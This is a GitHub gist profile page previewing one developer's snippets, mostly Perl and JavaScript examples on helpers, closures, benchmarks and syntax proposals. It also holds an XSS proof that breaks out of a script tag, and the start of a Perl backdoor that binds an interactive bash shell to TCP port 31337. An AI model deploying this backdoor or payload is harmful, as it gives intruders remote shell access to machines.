Skip to content

Instantly share code, notes, and snippets.

View koorchik's full-sized avatar
🇺🇦

Viktor Turskyi koorchik

🇺🇦
View GitHub Profile
@koorchik
koorchik / ovveride_form_for.pl
Created September 14, 2012 10:43
Override "form_for"
# Replace "form_for" helper
my $original_form_for = delete $app->renderer->helpers->{form_for};
croak qq{Cannot find helper "form_for". Please, load plugin "TagHelpers" before}
unless $original_form_for;
$app->helper( form_for => sub {
my $c = shift;
if ( defined $_[-1] && ref( $_[-1] ) eq 'CODE' ) {
my $cb = $_[-1];
use Try::Tiny;
sub load {
my $self = shift;
try {
return $self->SUPER::load(@_);
}
catch {
...
{
"modules" : {
"CPAN::Meta" : {
"dist" : "CPAN-Meta-2.130880",
"mymeta" : {
"abstract" : "the distribution metadata for a CPAN dist",
"author" : [
"David Golden <[email protected]>",
"Ricardo Signes <[email protected]>"
],
@koorchik
koorchik / ast vs rpn.js
Last active July 6, 2023 09:27
Compare AST and RPN evaluation performance
/*
There is an AST (Abstract syntax tree) in JSON format.
AST represents Excel spreadsheet formula.
Is it possible in JavaScript to make RPN (Reverse Polish Notation) faster than AST?
AST evaluation is recusive and RPN evaluation is iterative.
But in any case, AST evaluation is faster despite recursion.
I guess that the main problem is in using dynamic js arrays to emulate stack.
Would RPN win if it was written in C/C++?
@koorchik
koorchik / var_issue.js
Created July 17, 2015 14:06
Scope issue in javascript
var obj = { name: 'koorchik', age: 31 };
var funcs = {};
for (var prop in obj) {
funcs[prop] = function() { return obj[prop] };
}
console.log( funcs.name(), funcs.age() );
@koorchik
koorchik / hal2js_benchmark.md
Last active May 15, 2016 07:04
WebbyLab's mini hackaton: HAL to JS compiler

During hackaton we've created HAL(http://amazon5.hansaworld.net/) to JavaScript compiler just for fun.

Performance impovements: 2000x 😎

Original source code in HAL:

function val MULTIPLY(val i, val j)
begin
    val res;
@koorchik
koorchik / xss_example.html
Last active February 6, 2017 09:05
XSS proof
<script type="text/javascript">
var a = "</script><script>alert(1);";
</script>
@koorchik
koorchik / whatever-operator-in-js-proposal.md
Last active December 7, 2017 19:22
Shorter syntax for arrow functions

Inspired by the Perl6 pointy block short syntax (https://docs.perl6.org/type/Whatever) I like functional programming in JS. And it will be great to have even shorter syntax for lambdas (than arrow functions).

The compiler should detect special syntax and convert it to arrow functions.

Motivation: With shorter syntax it is clearer what is the intent of the code. Moreover, we do not write variable names twice. It is like when you contruct on object obj = {name: name, email: email} you use shorter syntax obj = {name, email}. Here it similar appoach.

Here are some examples. For every example bothe notation are the same.

@koorchik
koorchik / backdoor.pl
Created February 5, 2017 23:14
Network backdoor written in Perl
#!/usr/bin/perl
$SHELL="/bin/bash -i"; ## Будем использовать интерактивный bash в качестве шелла
$LISTEN_PORT="31337"; ## Выбираем порт 31337 для бэкдора
use Socket; ## Используем модуль Socket
$protocol=getprotobyname('tcp'); ### Протокол - TCP
socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket\n"; ### Пытаемся создать сокет-дескриптор либо завершаем скрипт с сообщением об ошибке.
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1); ## Заставляем сокет поддерживать REUSE - возможность многоразового использования порта
bind (S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port\n"; ## Биндим порт на все адреса машины либо сообщаем об ошибке
listen (S,3) || die "Cant listen port\n"; ## Ждем коннектов на порт
@koorchik
koorchik / recompress.pl
Created February 6, 2017 09:03
Recompress interlaced video from camera to x264
#!/usr/bin/perl
use warnings;
use strict;
my $in = $ARGV[0] || '';
my $out = $ARGV[1] || '';
unless(defined($in) && -e $in) {
die "File [$in] does not exists; $!";
}